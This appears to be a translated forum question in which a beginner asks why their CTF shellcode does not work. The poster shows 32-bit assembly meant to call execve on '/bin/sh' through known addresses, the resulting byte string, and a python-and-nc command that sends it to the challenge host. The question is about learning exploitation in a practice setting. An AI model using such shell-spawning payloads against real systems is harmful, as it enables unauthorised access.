0

我是一个 Shellcode 初学者,我开始了一些 CTF。但我被困在最基本的练习上。

假设我有一个程序。这个程序给了我 execve 的指针地址:0x8048450 假设有一个 char 数组“\bin\sh”,我也有它的地址:0x80486a5

易受攻击的代码是:

char input[4096];
read(0, input, 4096);
((func)&input)();

问题是我没有太多关于目标架构的信息,因为我没有二进制文件,但我认为它是 32 位的。

这是我的代码:

 section .text
 global _start

 _start:
     xor eax,eax
     xor ebx,ebx
     xor ecx,ecx
     xor edx,edx
     mov eax, 0x80486a5
     push eax
     call 0x8048450

然后我运行:

nasm -f elf -o shellcode.o shellcode.asm

ld -o shellcode shellcode.o -m elf_i386

这使

\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00

我执行

python -c "print('\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00')" | nc target port

但什么都没有。我是否必须放置一个 NOP 雪橇来完成字节数组?

谢谢你读我!

4

0 回答 0